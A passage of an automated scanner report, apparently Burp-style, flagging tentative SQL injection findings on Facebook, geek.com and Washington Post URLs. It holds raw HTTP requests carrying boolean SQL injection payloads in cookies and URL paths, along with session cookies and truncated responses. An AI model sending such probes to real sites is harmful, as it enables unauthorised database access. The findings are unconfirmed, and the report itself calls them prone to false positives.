Response 2

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.88.32
X-Cnection: close
Date: Tue, 10 May 2011 13:40:52 GMT
Content-Length: 9237

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yl/r/YT_08LAa7Q_.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yO/r/sBdNI8BQygP.css" />

<script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/v1/yV/r/ecpCmrvFebs.js"></script>
<script type="text/javascript">window.Bootloader && Bootloader.done(["lIKWr"]);</script>
<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
<body class="auto_resize_iframe fan_widget connect_widget UIPage_LoggedOut safari4 Locale_en_US">
<div class="app_content_87122473238"><div class="fan_box"><div class=""><div class="connect_top clearfix"><a href="http://www.facebook.com/mocoNews" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/41599_87122473238_6589482_q.jpg" alt="mocoNews" /></a><div class="connect_action"><div class="name_block"><a href="http://www.facebook.com/mocoNews" target="_blank"><span class="name">mocoNews</span></a></div><div><div id="connect_widget_4dc940640b0e43397323225" class="connect_widget" style=""><table class="connect_widget_interactive_area"><tr><td class="connect_widget_vertical_center connect_widget_button_cell"><div class="connect_button_slider" style=""><div class="connect_button_container"><a class="connect_widget_like_button clearfix like_button_no_like"><div class="tombstone_cross"></div><span class="liketext">Like</span></a></div></div></td><td class="connect_widget_vertical_center"><span class="connect_widget_confirm_span hidden_elem"><a class="mrm connect_widget_confirm_link">Confirm</a></span></td><td class="connect_widget_vertical_center"><div class="connect_confirmation_cell connect_confirmation_cell_no_like"><div class="connect_widget_text_summary connect_text_wrapper"><span class="connect_widget_user_action connect_widget_text hidden_ele
...[SNIP]...

1.24. http://www.facebook.com/plugins/recommendations.php [datr cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The datr cookie appears to be vulnerable to SQL injection attacks. The payloads 19807859'%20or%201%3d1--%20 and 19807859'%20or%201%3d2--%20 were each submitted in the datr cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /plugins/recommendations.php?border_color=%23ffffff&header=true&height=300&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.slashgear.com&width=315 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://cdn.slashgear.com/fbrecom.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo219807859'%20or%201%3d1--%20; lsd=M8vgg

Response 1

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.32.56
X-Cnection: close
Date: Tue, 10 May 2011 13:40:14 GMT
Content-Length: 11590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yD/r/rZiaNe7iEDZ.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/AZ23fTP8PUp.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/ecpCmrvFebs.js"></script>
<script type="text/javascript">window.Bootloader && Bootloader.done(["lIKWr"]);</script></head><body class="transparent_widget safari4 Locale_en_US"><div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;"></div><div id="u481454_1" class="fbConnectWidgetTopmost " style="height:298px; width:313px; border-color:#ffffff;"><div class="phm fbConnectWidgetHeaderTitle uiBoxLightblue"><div class="clearfix"><div class="lfloat"><div class="fbWidgetTitle fsl fwb fcb">Recommendations</div></div><div class="rfloat"></div></div></div><div class="mhs pvm phs ConnectActivityLogin uiBoxWhite"><form action="/campaign/landing.php" target="_blank" onsubmit="return Event.__inlineSubmit(this,event)"><input name="campaign_id" value="137675572948107" type="hidden" /><input name="partner_id" value="cdn.slashgear.com" type="hidden" /><input name="placement" value="recommendations" type="hidden" /><input name="extra_1" value="http://cdn.slashgear.com/fbrecom.html" type="hidden" /><input name="extra_2" value="US" type="hidden" /><label class="mrm fbLoginButton uiButton uiButtonSpecial uiButtonLarge" for="u481454_2"><input value="Sign Up" type="submit" id="u481454_2" /></label></form><div class="ConnectActivityLoginMessage">Create an account or <a onclick="ConnectSocialWidget.getInstance("u481454_1").login();"><b>log in</b></a> to see what your friends are recommending.</div></div><div class="fbConnectWidgetContent phs pts"><div class="fbRecommendationWidgetContent" style="visibility:hidden;"><div class="UIImageBlock clearfix pas fbRecommendation RES_734a3eb70875527f"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.slashgear.com/samsung-galaxy-s-ii-revie
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.96.31
X-Cnection: close
Date: Tue, 10 May 2011 13:40:15 GMT
Content-Length: 11614

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yO/r/sBdNI8BQygP.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yl/r/YT_08LAa7Q_.css" />

<script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/v1/yV/r/ecpCmrvFebs.js"></script>
<script type="text/javascript">window.Bootloader && Bootloader.done(["lIKWr"]);</script></head><body class="transparent_widget safari4 Locale_en_US"><div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;"></div><div id="u481572_1" class="fbConnectWidgetTopmost " style="height:298px; width:313px; border-color:#ffffff;"><div class="phm fbConnectWidgetHeaderTitle uiBoxLightblue"><div class="clearfix"><div class="lfloat"><div class="fbWidgetTitle fsl fwb fcb">Recommendations</div></div><div class="rfloat"></div></div></div><div class="mhs pvm phs ConnectActivityLogin uiBoxWhite"><form action="/campaign/landing.php" target="_blank" onsubmit="return Event.__inlineSubmit(this,event)"><input name="campaign_id" value="137675572948107" type="hidden" /><input name="partner_id" value="cdn.slashgear.com" type="hidden" /><input name="placement" value="recommendations" type="hidden" /><input name="extra_1" value="http://cdn.slashgear.com/fbrecom.html" type="hidden" /><input name="extra_2" value="US" type="hidden" /><label class="mrm fbLoginButton uiButton uiButtonSpecial uiButtonLarge" for="u481572_2"><input value="Sign Up" type="submit" id="u481572_2" /></label></form><div class="ConnectActivityLoginMessage">Create an account or <a onclick="ConnectSocialWidget.getInstance("u481572_1").login();"><b>log in</b></a> to see what your friends are recommending.</div></div><div class="fbConnectWidgetContent phs pts"><div class="fbRecommendationWidgetContent" style="visibility:hidden;"><div class="UIImageBlock clearfix pas fbRecommendation RES_734a3eb70875527f"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.slashgear.com/samsung-galaxy-s-ii-rev
...[SNIP]...

1.25. http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/favicon.ico

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 32327582'%20or%201%3d1--%20 and 32327582'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/themes32327582'%20or%201%3d1--%20/geek6/favicon.ico HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:53:41 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44315
X-Varnish: 924440538
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:53:26 GMT
Date: Tue, 10 May 2011 13:53:26 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/PSN_Qriocity1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/sony-delay-switching-psn-back-on-again-free-games-to-be-offered-2011058/">Sony delay switching PSN back on again, free games to be offered</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/53_Closed_HdOnTouchUp-High-res-e1304991616778.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/chips/panasonic-toughbook-53-annoucement-20110510/">Panasonic trims the semi-rugged Toughbook 53 down to 5.6 pounds</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/nvidia_icera.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/mobile/nvidia-buys-icera-tegra-to-get-integrated-3g4g-chip-2011059/">Nvidia buys Icera, Tegra to get integrated 3G/4G chip</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/BlackOps_screen.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/activision-confirms-next-cod-will-have-premium-online-features-20110510/">Activision confirms next COD will have premium online features</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h
...[SNIP]...

Request 2

GET /wp-content/themes32327582'%20or%201%3d2--%20/geek6/favicon.ico HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:53:49 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44243
X-Varnish: 1842945301
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:53:29 GMT
Date: Tue, 10 May 2011 13:53:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/microsoft-buys-skype-20110510/">Microsoft buys Skype</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Xbox_Next_02.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/ea-has-next-xbox-hardware-microsoft-to-reveal-at-e3-2011056/">EA has next Xbox hardware, Microsoft to reveal at E3?</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Netflix-Xbox360-580x326.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/chrome-os-to-offer-netflix-support-at-launch-2011059/">Chrome OS to offer Netflix support at launch</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Google_Chrome_2011_Wordmark_Logo.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/googles-chrome-browser-has-finally-been-hacked-2011059/">Google’s Chrome browser has finally been hacked</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/PSN_Qriocity1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/sony-delay-
...[SNIP]...

1.26. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 79240031'%20or%201%3d1--%20 and 79240031'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/themes/geek679240031'%20or%201%3d1--%20/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:02 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44307
X-Varnish: 1842939858
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:40 GMT
Date: Tue, 10 May 2011 13:29:40 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/microsoft-buys-skype-20110510/">Microsoft buys Skype</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Xbox_Next_02.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/ea-has-next-xbox-hardware-microsoft-to-reveal-at-e3-2011056/">EA has next Xbox hardware, Microsoft to reveal at E3?</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Netflix-Xbox360-580x326.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/chrome-os-to-offer-netflix-support-at-launch-2011059/">Chrome OS to offer Netflix support at launch</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Google_Chrome_2011_Wordmark_Logo.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/googles-chrome-browser-has-finally-been-hacked-2011059/">Google’s Chrome browser has finally been hacked</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/PSN_Qriocity1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/sony-delay-
...[SNIP]...

Request 2

GET /wp-content/themes/geek679240031'%20or%201%3d2--%20/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:57 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44379
X-Varnish: 924435317
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:42 GMT
Date: Tue, 10 May 2011 13:29:42 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/PSN_Qriocity1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/sony-delay-switching-psn-back-on-again-free-games-to-be-offered-2011058/">Sony delay switching PSN back on again, free games to be offered</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/53_Closed_HdOnTouchUp-High-res-e1304991616778.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/chips/panasonic-toughbook-53-annoucement-20110510/">Panasonic trims the semi-rugged Toughbook 53 down to 5.6 pounds</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/nvidia_icera.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/mobile/nvidia-buys-icera-tegra-to-get-integrated-3g4g-chip-2011059/">Nvidia buys Icera, Tegra to get integrated 3G/4G chip</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/BlackOps_screen.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/activision-confirms-next-cod-will-have-premium-online-features-20110510/">Activision confirms next COD will have premium online features</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h
...[SNIP]...

1.27. http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.washingtonpost.com
Path:	/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /blogs/right-turn'%20and%201%3d1--%20/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
ETag: ac0ea0da-3669-4377-a241-c816535315be
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: no-cache, no-store, must-revalidate
Expires: Tue, 10 May 2011 13:21:51 GMT
Date: Tue, 10 May 2011 13:21:51 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 93185

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="EN" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac
...[SNIP]...
<meta name="eomportal-id" content="791677"/>
<meta name="eomportal-loid" content="5.1.1223112133"/>
<meta name="eomportal-uuid" content="b2b264d8-781c-11e0-b1ef-1ae6ee31db4e"/>
<meta name="eomportal-lastUpdate" content="Tue May 10 09:20:03 EDT 2011"/>
<meta name="keywords" content="snatorum,truce not about america,santorum debate"/>
<meta name="description" content="America isn’t about his stance on social issues."/>
<meta name="DC.title" content="
Rick Santorum ‘doesn’t understand America’
"/>
<meta name="DC.date.issued" content="2011-05-07"/>
<meta name="DC.creator" content="Jennifer Rubin"/>
<meta name="Content-Language" content="en-US"/>
<meta name="resource-type" content="document"/>
<link rel="stylesheet" type="text/css" href="/r/sites/twpweb/css/old/old-style.css"/>
<script type="text/javascript">

   //namespace object & initial time always set.
   var TWP_Debug = {};
   TWP_Debug.initialTime = new Date();
   TWP_Debug.pagedebug=(window.location.href.indexOf("pagedebug=true") > 0)?true:false;
   TWP_Debug.pagedebug && window.console && console.log && console.log('[' + (new Date()-TWP_Debug.initialTime)/1000 + ']' + ' frameset - start');

</script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wpni_generic_ad.js"></script>
<script type="text/javascript" src="http://media.washingtonpost.com/wp-srv/ad/wp_ad.js"></script>
<script type="text/javascript">

   var siteContext = '/rw/sites/twpweb',
       sectionContext = '/blogs/right-turn',
       eidosBase = 'http://www.washingtonpost.com'
   ;
   TWP = window.TWP || {};
   TWP.base = 'http://media3.washingtonpost.com';
   TWP.eidosBase = eidosBase;

</script>
<script type="text/javascript">


</script>
<script type="text/javascript">

   wp_meta_data = {
       showAds:true,showPreRollAds:false,isHomepage: false,contentName:["right_turn"],page_id:["5.1.1223112133"],author:["Jennifer Rubin"],keywords:["sn
...[SNIP]...

Request 2

GET /blogs/right-turn'%20and%201%3d2--%20/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
ETag: 123499df-f418-42c8-bbd3-9d3877605e95
Content-Type: text/html;charset=UTF-8
X-Cnection: close
Cache-Control: no-cache, no-store, must-revalidate
Expires: Tue, 10 May 2011 13:21:51 GMT
